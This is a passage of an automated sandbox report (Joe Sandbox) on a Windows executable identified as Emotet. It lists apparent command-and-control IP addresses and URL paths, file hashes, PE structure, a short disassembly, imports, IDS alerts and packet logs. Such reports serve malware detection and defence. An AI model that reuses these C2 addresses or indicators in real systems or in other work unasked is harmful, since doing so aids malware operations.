174.102.48.180	unknown	United States	10796	TWC-10796-MIDWESTUS	true
169.239.182.217	unknown	South Africa	37153	xneeloZA	true
200.123.150.89	unknown	Argentina	16814	NSSSAAR	true
220.245.198.194	unknown	Australia	7545	TPG-INTERNET-APTPGTelecomLimitedAU	true
104.131.11.150	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
176.111.60.55	unknown	Ukraine	24703	UN-UKRAINE-ASKievUkraineUA	true
94.23.237.171	unknown	France	16276	OVHFR	true
187.161.206.24	unknown	Mexico	11888	TelevisionInternacionalSAdeCVMX	true
139.162.108.71	unknown	Netherlands	63949	LINODE-APLinodeLLCUS	true
156.155.166.221	unknown	South Africa	37611	AfrihostZA	true
104.32.141.43	unknown	United States	20001	TWC-20001-PACWESTUS	true
94.1.108.190	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	true
87.106.139.101	unknown	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	true
213.196.135.145	unknown	Switzerland	21040	DATAPARKCH	true
62.30.7.67	unknown	United Kingdom	5089	NTLGB	true
79.98.24.39	unknown	Lithuania	62282	RACKRAYUABRakrejusLT	true
107.5.122.110	unknown	United States	7922	COMCAST-7922US	true
75.139.38.211	unknown	United States	20115	CHARTER-20115US	true
87.106.136.232	unknown	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	true
110.5.16.198	unknown	Japan	4685	ASAHI-NETAsahiNetJP	true
104.131.44.150	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
62.75.141.82	unknown	Germany	8972	GD-EMEA-DC-SXB1DE	true
124.41.215.226	unknown	Nepal	17501	WLINK-NEPAL-AS-APWorldLinkCommunicationsPvtLtdNP	true
172.91.208.86	unknown	United States	20001	TWC-20001-PACWESTUS	true
37.139.21.175	unknown	Netherlands	14061	DIGITALOCEAN-ASNUS	true
153.137.36.142	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	true
194.187.133.160	unknown	Bulgaria	13124	IBGCBG	true
24.43.99.75	unknown	United States	20001	TWC-20001-PACWESTUS	true
95.213.236.64	unknown	Russian Federation	49505	SELECTELRU	true
46.105.131.79	unknown	France	16276	OVHFR	true
139.130.242.43	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	true
82.80.155.43	unknown	Israel	8551	BEZEQ-INTERNATIONAL-ASBezeqintInternetBackboneIL	true
110.145.77.103	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	true
61.92.17.12	unknown	Hong Kong	9269	HKBN-AS-APHongKongBroadbandNetworkLtdHK	true
120.150.60.189	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	true
93.147.212.206	unknown	Italy	30722	VODAFONE-IT-ASNIT	true
91.211.88.52	unknown	Ukraine	206638	HOSTFORYUA	true
153.232.188.106	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	true
68.188.112.97	unknown	United States	20115	CHARTER-20115US	true
140.186.212.146	unknown	United States	11232	MIDCO-NETUS	true
121.7.127.163	unknown	Singapore	9506	SINGTEL-FIBRESingtelFibreBroadbandSG	true
50.35.17.13	unknown	United States	27017	ZIPLY-FIBER-LEGACY-ASNUS	true
157.245.99.39	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
203.153.216.189	unknown	Indonesia	45291	SURF-IDPTSurfindoNetworkID	true
174.45.13.118	unknown	United States	33588	BRESNAN-33588US	true
162.241.242.173	unknown	United States	46606	UNIFIEDLAYER-AS-1US	true
96.249.236.156	unknown	United States	701	UUNETUS	true
123.176.25.234	unknown	Maldives	7642	DHIRAAGU-MV-APDHIVEHIRAAJJEYGEGULHUNPLCMV	true
85.105.205.77	unknown	Turkey	9121	TTNETTR	true
74.120.55.163	unknown	Canada	32315	WJBTN-ASCA	true
200.114.213.233	unknown	Argentina	10318	TelecomArgentinaSAAR	true
50.91.114.38	unknown	United States	33363	BHN-33363US	true
78.24.219.147	unknown	Russian Federation	29182	THEFIRST-ASRU	true
24.179.13.119	unknown	United States	20115	CHARTER-20115US	true
139.99.158.11	unknown	Canada	16276	OVHFR	true
201.173.217.124	unknown	Mexico	11888	TelevisionInternacionalSAdeCVMX	true
134.209.36.254	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
75.80.124.4	unknown	United States	20001	TWC-20001-PACWESTUS	true
195.251.213.56	unknown	Greece	12364	UOMGR	true
121.124.124.40	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	true
47.144.21.12	unknown	United States	5650	FRONTIER-FRTRUS	true
139.59.60.244	unknown	Singapore	14061	DIGITALOCEAN-ASNUS	true
61.19.246.238	unknown	Thailand	9335	CAT-CLOUD-APCATTelecomPublicCompanyLimitedTH	true
168.235.67.138	unknown	United States	3842	RAMNODEUS	true
137.59.187.107	unknown	Hong Kong	18106	VIEWQWEST-SG-APViewqwestPteLtdSG	true
219.74.18.66	unknown	Singapore	9506	SINGTEL-FIBRESingtelFibreBroadbandSG	true
78.187.156.31	unknown	Turkey	9121	TTNETTR	true
188.219.31.12	unknown	Italy	30722	VODAFONE-IT-ASNIT	true
83.169.36.251	unknown	Germany	20773	GODADDYDE	true
74.134.41.124	unknown	United States	10796	TWC-10796-MIDWESTUS	true
42.200.107.142	unknown	Hong Kong	4760	HKTIMS-APHKTLimitedHK	true
5.196.74.210	unknown	France	16276	OVHFR	true
1.221.254.82	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	true
74.208.45.104	unknown	United States	8560	ONEANDONE-ASBrauerstrasse48DE	true
120.138.30.150	unknown	New Zealand	45179	SITEHOST-AS-APSiteHostNewZealandNZ	true
84.39.182.7	unknown	Spain	15704	AS15704ES	true
97.82.79.83	unknown	United States	20115	CHARTER-20115US	true
24.137.76.62	unknown	Canada	11260	EASTLINK-HSICA	true
82.225.49.121	unknown	France	12322	PROXADFR	true
37.187.72.193	unknown	France	16276	OVHFR	true
181.169.34.190	unknown	Argentina	10318	TelecomArgentinaSAAR	true
95.179.229.244	unknown	Netherlands	20473	AS-CHOOPAUS	true
109.74.5.95	unknown	Sweden	43948	GLESYS-ASSE	true
74.219.172.26	unknown	United States	5787	SNAPONSBSUS	true
79.137.83.50	unknown	France	16276	OVHFR	true
103.86.49.11	unknown	Thailand	58955	BANGMODENTERPRISE-THBangmodEnterpriseCoLtdTH	true
209.141.54.221	unknown	United States	53667	PONYNETUS	true
89.216.122.92	unknown	Serbia	31042	SERBIA-BROADBAND-ASSerbiaBroadBand-SrpskeKablovskemreze	true
185.94.252.104	unknown	Germany	197890	MEGASERVERS-DE	true
5.39.91.110	unknown	France	16276	OVHFR	true
137.119.36.33	unknown	United States	11426	TWC-11426-CAROLINASUS	true
104.236.246.93	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
94.23.216.33	unknown	France	16276	OVHFR	true
219.75.128.166	unknown	Japan	17511	OPTAGEOPTAGEIncJP	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1495910
Start date and time:	2024-08-20 17:46:03 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ExeFile (356).exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@4/0@0/97
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 46 Number of non-executed functions: 73
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: ExeFile (356).exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
94.200.114.161	ExeFile (226).exe	Get hash	malicious	Emotet	Browse	94.200.114.161/KN2k/QHavZNk7lTSx8eJLpbP/0vd7gjsQ5TsEb0Rcx/
94.200.114.161	ExeFile (106).exe	Get hash	malicious	Emotet	Browse	94.200.114.161/cHAjU/OuEQIhBlus38A7g/
71.72.196.159	ExeFile (196).exe	Get hash	malicious	Emotet	Browse	71.72.196.159/2IGyEh4lLVAFVrg/6EDAF/YrTlOqfPq/7ALhWaZlzInVzVn7fD/bAqO88sEz98xOzh/VXmfH3epoFKlKrI/
71.72.196.159	3Zn3npGt2R.doc	Get hash	malicious	Unknown	Browse	71.72.196.159/jzbe8u/
85.152.162.105	ExeFile (226).exe	Get hash	malicious	Emotet	Browse
	ExeFile (145).exe	Get hash	malicious	Emotet	Browse
	ExeFile (156).exe	Get hash	malicious	Emotet	Browse
	ExeFile (196).exe	Get hash	malicious	Emotet	Browse
	ExeFile (106).exe	Get hash	malicious	Emotet	Browse
	KBDYAK.exe	Get hash	malicious	Emotet	Browse
	task1.exe	Get hash	malicious	Emotet	Browse
	task1.exe	Get hash	malicious	Emotet	Browse
	task1.exe	Get hash	malicious	Emotet	Browse
	task1.exe	Get hash	malicious	Emotet	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TWC-10796-MIDWESTUS	ExeFile (369).exe	Get hash	malicious	Emotet	Browse	74.136.144.133
	ExeFile (367).exe	Get hash	malicious	Emotet	Browse	72.135.200.124
	ExeFile (371).exe	Get hash	malicious	Emotet	Browse	74.136.144.133
	ExeFile (378).exe	Get hash	malicious	Emotet	Browse	74.136.144.133
	ExeFile (384).exe	Get hash	malicious	Emotet	Browse	174.100.27.229
	ExeFile (388).exe	Get hash	malicious	Emotet	Browse	66.61.94.36
	ExeFile (39).exe	Get hash	malicious	Emotet	Browse	66.61.94.36
	ExeFile (394).exe	Get hash	malicious	Emotet	Browse	74.135.120.91
	ExeFile (22).exe	Get hash	malicious	Emotet	Browse	71.72.196.159
	ExeFile (286).exe	Get hash	malicious	Emotet	Browse	74.135.120.91
TWC-10796-MIDWESTUS	ExeFile (369).exe	Get hash	malicious	Emotet	Browse	74.136.144.133
	ExeFile (367).exe	Get hash	malicious	Emotet	Browse	72.135.200.124
	ExeFile (371).exe	Get hash	malicious	Emotet	Browse	74.136.144.133
	ExeFile (378).exe	Get hash	malicious	Emotet	Browse	74.136.144.133
	ExeFile (384).exe	Get hash	malicious	Emotet	Browse	174.100.27.229
	ExeFile (388).exe	Get hash	malicious	Emotet	Browse	66.61.94.36
	ExeFile (39).exe	Get hash	malicious	Emotet	Browse	66.61.94.36
	ExeFile (394).exe	Get hash	malicious	Emotet	Browse	74.135.120.91
	ExeFile (22).exe	Get hash	malicious	Emotet	Browse	71.72.196.159
	ExeFile (286).exe	Get hash	malicious	Emotet	Browse	74.135.120.91
TELECABLESpainES	ExeFile (226).exe	Get hash	malicious	Emotet	Browse	85.152.162.105
	ExeFile (145).exe	Get hash	malicious	Emotet	Browse	85.152.162.105
	ExeFile (156).exe	Get hash	malicious	Emotet	Browse	85.152.162.105
	ExeFile (171).exe	Get hash	malicious	Emotet	Browse	93.156.165.186
	ExeFile (196).exe	Get hash	malicious	Emotet	Browse	85.152.162.105
	ExeFile (106).exe	Get hash	malicious	Emotet	Browse	85.152.162.105
	jew.m68k.elf	Get hash	malicious	Unknown	Browse	188.171.114.252
	arm7.elf	Get hash	malicious	Mirai	Browse	188.171.226.33
	SZwdzMMRBU.elf	Get hash	malicious	Unknown	Browse	85.152.244.213
	VapIQOTGj7.elf	Get hash	malicious	Gafgyt, Mirai, Moobot, Okiru	Browse	212.89.7.12
DU-AS1AE	ExeFile (377).exe	Get hash	malicious	Emotet	Browse	91.75.75.46
	ExeFile (384).exe	Get hash	malicious	Emotet	Browse	94.206.45.18
	ExeFile (39).exe	Get hash	malicious	Emotet	Browse	91.75.75.46
	ExeFile (64).exe	Get hash	malicious	Emotet	Browse	91.75.75.46
	ExeFile (22).exe	Get hash	malicious	Emotet	Browse	94.200.114.161
	ExeFile (285).exe	Get hash	malicious	Emotet	Browse	91.75.75.46
	ExeFile (226).exe	Get hash	malicious	Emotet	Browse	94.200.114.161
	ExeFile (145).exe	Get hash	malicious	Emotet	Browse	94.200.114.161
	ExeFile (196).exe	Get hash	malicious	Emotet	Browse	94.200.114.161
	ExeFile (106).exe	Get hash	malicious	Emotet	Browse	94.200.114.161

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.185253964595847
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	ExeFile (356).exe
File size:	437'248 bytes
MD5:	4c1c997c16309a2d391e1d39988000cc
SHA1:	199ebff853acd5f3209ea81c75d48d1db20334cc
SHA256:	c37ae465ddd63d49f36380cf223d1b0d3117021190d73bc37ee132ec10020342
SHA512:	835ac956a6c9c89802caa93e6e84aab306bb604bd93f6ca20ba428fb5f8217a18f5c840217368fbb0883555ce004c6ed8b2a46ce7d272d50910c18dcb9d5bb92
SSDEEP:	6144:vXBr9LW/6DUvum8W71YQvq6H/iaRT8oITZO/rVurq:vXdNDDUvum8W5lv7Ha+ThmZo5uG
TLSH:	6D947B136AC4C138F4961B35F8AAEAF14391BD1A5F3882CBFEC4775B6D671809C36606
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........\|..L...L...L...#k..\...#k*.,...Ee..A...L...<...#k+.e...#k..M...k.[.M...#k..M...RichL...................PE..L.....e_...........

File Icon


Icon Hash:	0e0e0f0d1e3add1f

Static PE Info

General

Entrypoint:	0x410a9b
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x5F6508C3 [Fri Sep 18 19:21:39 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	39948763cc1873dc50981ea479aab099

Entrypoint Preview

Instruction
call 00007F6DC0B5E2A5h
jmp 00007F6DC0B5A58Eh
mov edi, edi
push ebp
mov ebp, esp
mov edx, dword ptr [ebp+08h]
push esi
push edi
test edx, edx
je 00007F6DC0B5A709h
mov edi, dword ptr [ebp+0Ch]
test edi, edi
jne 00007F6DC0B5A715h
call 00007F6DC0B5BA72h
push 00000016h
pop esi
mov dword ptr [eax], esi
call 00007F6DC0B5BA16h
mov eax, esi
jmp 00007F6DC0B5A735h
mov eax, dword ptr [ebp+10h]
test eax, eax
jne 00007F6DC0B5A706h
mov byte ptr [edx], al
jmp 00007F6DC0B5A6E4h
mov esi, edx
sub esi, eax
mov cl, byte ptr [eax]
mov byte ptr [esi+eax], cl
inc eax
test cl, cl
je 00007F6DC0B5A705h
dec edi
jne 00007F6DC0B5A6F5h
test edi, edi
jne 00007F6DC0B5A713h
mov byte ptr [edx], 00000000h
call 00007F6DC0B5BA3Ch
push 00000022h
pop ecx
mov dword ptr [eax], ecx
mov esi, ecx
jmp 00007F6DC0B5A6C8h
xor eax, eax
pop edi
pop esi
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov ecx, dword ptr [esp+04h]
test ecx, 00000003h
je 00007F6DC0B5A726h
mov al, byte ptr [ecx]
add ecx, 01h
test al, al
je 00007F6DC0B5A750h
test ecx, 00000003h
jne 00007F6DC0B5A6F1h
add eax, 00000000h
lea esp, dword ptr [esp+00000000h]
lea esp, dword ptr [esp+00000000h]
mov eax, dword ptr [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, FFFFFFFFh
xor eax, edx
add ecx, 04h
test eax, 81010100h
je 00007F6DC0B5A6EAh
mov eax, dword ptr [ecx-04h]
test al, al
je 00007F6DC0B5A734h
test ah, ah
je 00007F6DC0B5A726h

Rich Headers

Programming Language:

[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[IMP] VS2008 SP1 build 30729
[C++] VS2010 build 30319
[EXP] VS2010 build 30319
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x1c9f0	0x42	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1c01c	0x8c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x22000	0x4c1f0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x6f000	0xeec	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x191f0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x1b838	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x19000	0x1ac	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x17a6e	0x17c00	2918294d11fcf50d51f870e66a4e619e	False	0.5352487664473684	DOS executable (COM)	6.120585434914318	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x19000	0x3a32	0x3c00	781ea65d4fba89049baed19ff8fd7748	False	0.35279947916666665	data	4.850442112080569	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1d000	0x416c	0x1000	c6306a330127025aa96c1b57a0fcd902	False	0.221923828125	data	2.5497119214608133	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x22000	0x4c1f0	0x4c200	add876cb58db3633c854af0e75fe9ec8	False	0.31388867508210183	data	6.141207657208505	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x6f000	0x1d30	0x1e00	ea9aac25c86f4cd5d2db5957b7bc6e8f	False	0.4217447916666667	data	4.176257282412653	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
DAGHHHHHTY	0x22520	0xde00	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows	English	United States	0.506809543918919
RT_ICON	0x30320	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5428423236514522
RT_ICON	0x328c8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5428423236514522
RT_ICON	0x34e70	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5428423236514522
RT_ICON	0x37418	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5428423236514522
RT_ICON	0x399c0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5428423236514522
RT_ICON	0x3bf68	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5428423236514522
RT_ICON	0x3e510	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5428423236514522
RT_ICON	0x40ab8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5428423236514522
RT_ICON	0x43060	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5428423236514522
RT_ICON	0x45608	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5428423236514522
RT_ICON	0x47bb0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5428423236514522
RT_ICON	0x4a158	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5428423236514522
RT_ICON	0x4c700	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5428423236514522
RT_ICON	0x4eca8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5428423236514522
RT_ICON	0x51250	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5428423236514522
RT_ICON	0x537f8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5428423236514522
RT_ICON	0x55da0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5428423236514522
RT_ICON	0x58348	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5428423236514522
RT_ICON	0x5a8f0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5428423236514522
RT_ICON	0x5ce98	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5428423236514522
RT_GROUP_ICON	0x5f440	0x11e	data	English	United States	0.24125874125874125
RT_MANIFEST	0x5f560	0x15a	ASCII text, with CRLF line terminators	English	United States	0.5491329479768786
None	0x5f6bc	0xeb33	data	English	United States	1.0004318147846738

Imports

DLL	Import
KERNEL32.dll	VirtualAlloc, Process32NextW, Process32FirstW, CreateToolhelp32Snapshot, CreateThread, SetStdHandle, SetFilePointer, WriteConsoleW, LoadLibraryW, GetStringTypeW, LCMapStringW, FlushFileBuffers, GetConsoleMode, GetConsoleCP, HeapReAlloc, MultiByteToWideChar, CreateProcessW, OpenProcess, TerminateProcess, QueryFullProcessImageNameW, CloseHandle, GetCurrentProcess, GetLastError, FormatMessageW, IsValidCodePage, GetOEMCP, GetACP, GetCPInfo, GetSystemTimeAsFileTime, HeapAlloc, RaiseException, RtlUnwind, EncodePointer, DecodePointer, GetCommandLineA, HeapSetInformation, GetStartupInfoW, HeapFree, EnterCriticalSection, LeaveCriticalSection, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, IsProcessorFeaturePresent, GetProcAddress, GetModuleHandleW, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameW, HeapCreate, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, InterlockedIncrement, SetLastError, GetCurrentThreadId, InterlockedDecrement, Sleep, HeapSize, GetModuleFileNameA, FreeEnvironmentStringsW, WideCharToMultiByte, GetEnvironmentStringsW, SetHandleCount, InitializeCriticalSectionAndSpinCount, GetFileType, DeleteCriticalSection, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, CreateFileW
USER32.dll	SendMessageW, CreateWindowExW, wsprintfW, LoadIconW, LoadCursorW, RegisterClassExW, SetTimer, UpdateWindow, GetMessageW, TranslateMessage, DispatchMessageW, PostQuitMessage, ShowWindow, MessageBoxW, SetWindowTextW, GetWindowTextW, DefWindowProcW
ADVAPI32.dll	GetUserNameW, GetTokenInformation, LookupAccountSidW, OpenProcessToken, LookupPrivilegeValueW, AdjustTokenPrivileges
COMCTL32.dll	InitCommonControlsEx
PSAPI.DLL	GetProcessMemoryInfo
VERSION.dll	GetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW

Exports

Name	Ordinal	Address
Run	1	0x40ec40

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-20T17:47:30.327401+0200	TCP	2854388	ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13	1	49723	8080	192.168.2.12	120.138.30.150
2024-08-20T17:48:48.814321+0200	TCP	2854388	ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13	1	62418	80	192.168.2.12	174.45.13.118
2024-08-20T17:47:03.074373+0200	TCP	2854388	ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13	1	62404	443	192.168.2.12	94.23.237.171
2024-08-20T17:48:53.453903+0200	TCP	2854388	ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13	1	62419	8080	192.168.2.12	87.106.136.232
2024-08-20T17:47:59.609413+0200	TCP	2854388	ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13	1	49726	8080	192.168.2.12	137.59.187.107

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 20, 2024 17:47:21.367636919 CEST	49712	80	192.168.2.12	71.72.196.159
Aug 20, 2024 17:47:21.373328924 CEST	80	49712	71.72.196.159	192.168.2.12
Aug 20, 2024 17:47:21.373495102 CEST	49712	80	192.168.2.12	71.72.196.159
Aug 20, 2024 17:47:21.373636007 CEST	49712	80	192.168.2.12	71.72.196.159
Aug 20, 2024 17:47:21.373673916 CEST	49712	80	192.168.2.12	71.72.196.159
Aug 20, 2024 17:47:21.378580093 CEST	80	49712	71.72.196.159	192.168.2.12
Aug 20, 2024 17:47:21.378607035 CEST	80	49712	71.72.196.159	192.168.2.12
Aug 20, 2024 17:47:21.378627062 CEST	80	49712	71.72.196.159	192.168.2.12
Aug 20, 2024 17:47:21.378770113 CEST	49712	80	192.168.2.12	71.72.196.159
Aug 20, 2024 17:47:21.378820896 CEST	80	49712	71.72.196.159	192.168.2.12
Aug 20, 2024 17:47:21.378833055 CEST	80	49712	71.72.196.159	192.168.2.12
Aug 20, 2024 17:47:21.378906012 CEST	80	49712	71.72.196.159	192.168.2.12
Aug 20, 2024 17:47:21.379698992 CEST	49712	80	192.168.2.12	71.72.196.159
Aug 20, 2024 17:47:21.383654118 CEST	80	49712	71.72.196.159	192.168.2.12
Aug 20, 2024 17:47:21.384548903 CEST	80	49712	71.72.196.159	192.168.2.12
Aug 20, 2024 17:47:24.938365936 CEST	49722	8080	192.168.2.12	134.209.36.254
Aug 20, 2024 17:47:24.943387985 CEST	8080	49722	134.209.36.254	192.168.2.12
Aug 20, 2024 17:47:24.943517923 CEST	49722	8080	192.168.2.12	134.209.36.254
Aug 20, 2024 17:47:24.943783045 CEST	49722	8080	192.168.2.12	134.209.36.254
Aug 20, 2024 17:47:24.943847895 CEST	49722	8080	192.168.2.12	134.209.36.254
Aug 20, 2024 17:47:24.948651075 CEST	8080	49722	134.209.36.254	192.168.2.12
Aug 20, 2024 17:47:24.948700905 CEST	8080	49722	134.209.36.254	192.168.2.12
Aug 20, 2024 17:47:24.948749065 CEST	8080	49722	134.209.36.254	192.168.2.12
Aug 20, 2024 17:47:24.948760033 CEST	8080	49722	134.209.36.254	192.168.2.12
Aug 20, 2024 17:47:24.948764086 CEST	8080	49722	134.209.36.254	192.168.2.12
Aug 20, 2024 17:47:24.949459076 CEST	8080	49722	134.209.36.254	192.168.2.12
Aug 20, 2024 17:47:28.274552107 CEST	49723	8080	192.168.2.12	120.138.30.150
Aug 20, 2024 17:47:28.279652119 CEST	8080	49723	120.138.30.150	192.168.2.12
Aug 20, 2024 17:47:28.282876015 CEST	49723	8080	192.168.2.12	120.138.30.150
Aug 20, 2024 17:47:28.283018112 CEST	49723	8080	192.168.2.12	120.138.30.150
Aug 20, 2024 17:47:28.283061028 CEST	49723	8080	192.168.2.12	120.138.30.150
Aug 20, 2024 17:47:28.287863016 CEST	8080	49723	120.138.30.150	192.168.2.12
Aug 20, 2024 17:47:28.288080931 CEST	8080	49723	120.138.30.150	192.168.2.12
Aug 20, 2024 17:47:28.288163900 CEST	8080	49723	120.138.30.150	192.168.2.12
Aug 20, 2024 17:47:28.288175106 CEST	8080	49723	120.138.30.150	192.168.2.12
Aug 20, 2024 17:47:28.288193941 CEST	8080	49723	120.138.30.150	192.168.2.12
Aug 20, 2024 17:47:30.327294111 CEST	8080	49723	120.138.30.150	192.168.2.12
Aug 20, 2024 17:47:30.327400923 CEST	49723	8080	192.168.2.12	120.138.30.150
Aug 20, 2024 17:47:30.327493906 CEST	49723	8080	192.168.2.12	120.138.30.150
Aug 20, 2024 17:47:30.332926989 CEST	8080	49723	120.138.30.150	192.168.2.12
Aug 20, 2024 17:47:32.852833986 CEST	49724	80	192.168.2.12	94.23.216.33
Aug 20, 2024 17:47:32.858127117 CEST	80	49724	94.23.216.33	192.168.2.12
Aug 20, 2024 17:47:32.858289003 CEST	49724	80	192.168.2.12	94.23.216.33
Aug 20, 2024 17:47:32.858660936 CEST	49724	80	192.168.2.12	94.23.216.33
Aug 20, 2024 17:47:32.858719110 CEST	49724	80	192.168.2.12	94.23.216.33
Aug 20, 2024 17:47:32.863457918 CEST	80	49724	94.23.216.33	192.168.2.12
Aug 20, 2024 17:47:32.863579035 CEST	49724	80	192.168.2.12	94.23.216.33
Aug 20, 2024 17:47:32.863624096 CEST	80	49724	94.23.216.33	192.168.2.12
Aug 20, 2024 17:47:32.863657951 CEST	49724	80	192.168.2.12	94.23.216.33
